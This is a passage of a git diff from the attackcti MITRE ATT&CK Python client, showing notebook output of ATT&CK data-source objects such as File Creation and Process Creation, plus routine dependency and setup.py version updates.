'x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5',\n", + " 'description': 'Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'File Metadata',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9'},\n", + " {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.273Z',\n", + " 'id': 'x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c',\n", + " 'description': 'Initial construction of a new file (ex: Sysmon EID 11)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'File Creation',\n", + " 'created': '2021-10-20T15:05:19.273Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9'}]},\n", + " {'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-11-10T09:30:48.697Z',\n", + " 'name': 'Process',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'type': 'x-mitre-data-source',\n", + " 'id': 'x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22',\n", + " 'description': 'Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)',\n", + " 'created': '2021-10-20T15:05:19.272Z',\n", + " 'external_references': [{'url': 'https://attack.mitre.org/datasources/DS0009',\n", + " 'external_id': 'DS0009',\n", + " 'source_name': 'mitre-attack'},\n", + " {'url': 'https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads',\n", + " 'description': 'Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.',\n", + " 'source_name': 'Microsoft Processes and Threads'}],\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_platforms': ['Windows', 'Linux', 'macOS'],\n", + " 'x_mitre_collection_layers': ['Host'],\n", + " 'x_mitre_contributors': ['Center for Threat-Informed Defense (CTID)'],\n", + " 'data_components': [{'object_marking_refs': ['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],\n", + " 'modified': '2021-10-20T15:05:19.272Z',\n", + " 'id': 'x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077',\n", + " 'description': 'Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)',\n", + " 'created_by_ref': 'identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5',\n", + " 'name': 'Process Creation',\n", + " 'created': '2021-10-20T15:05:19.272Z',\n", + " 'type': 'x-mitre-data-component',\n", + " 'x_mitre_version': '1.0',\n", + " 'x_mitre_data_source_ref': 'x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22'}]}]" + ] + }, + "execution_count": 17, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Ejemplo de contexto (Data Sources y Data Components) para objeto attack-pattern\n", + "techniques_enriched[0]['x_mitre_data_sources']" + ] + } + ], + "metadata": { + "interpreter": { + "hash": "aee8b7b246df8f9039afb4144a1f6fd8d2ca17a180786b69acc140d282b71a49" + }, + "kernelspec": { + "display_name": "Python 3", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.9.5" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} diff --git a/requirements.txt b/requirements.txt index e9d784e..76a927d 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,3 +1,4 @@ -stix2>=2.1.0 -taxii2-client>=2.2.2 -six>=1.15.0 \ No newline at end of file +stix2>=3.0.1 +taxii2-client>=2.3.0 +stix2-patterns>=1.3.2 +six>=1.16.0 \ No newline at end of file diff --git a/setup.py b/setup.py index 77271c8..9e8d6a7 100644 --- a/setup.py +++ b/setup.py @@ -6,21 +6,26 @@ # Reference: # https://packaging.python.org/tutorials/packaging-projects/ -import setuptools +from setuptools import find_packages, setup with open('README.md')as f: long_description = f.read() -setuptools.setup( +setup( name="attackcti", - version="0.3.4.4", + version="0.3.5", author="Roberto Rodriguez", - description="ATTACK CTI Libary", + description="MITRE ATTACK CTI Python Libary", long_description=long_description, long_description_content_type="text/markdown", url="https://github.com/OTRF/ATTACK-Python-Client", + project_urls={ + "Documentation": "https://attackcti.com", + "Code": "https://github.com/OTRF/ATTACK-Python-Client", + "Issue tracker": "https://github.com/OTRF/ATTACK-Python-Client/issues", + }, keywords="threat hunting dfir cti cyber threat intelligence mitre att&ck", - packages=setuptools.find_packages(), + packages=find_packages(), install_requires=[ 'stix2', 'taxii2-client', @@ -38,5 +43,6 @@ 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9' ], ) \ No newline at end of file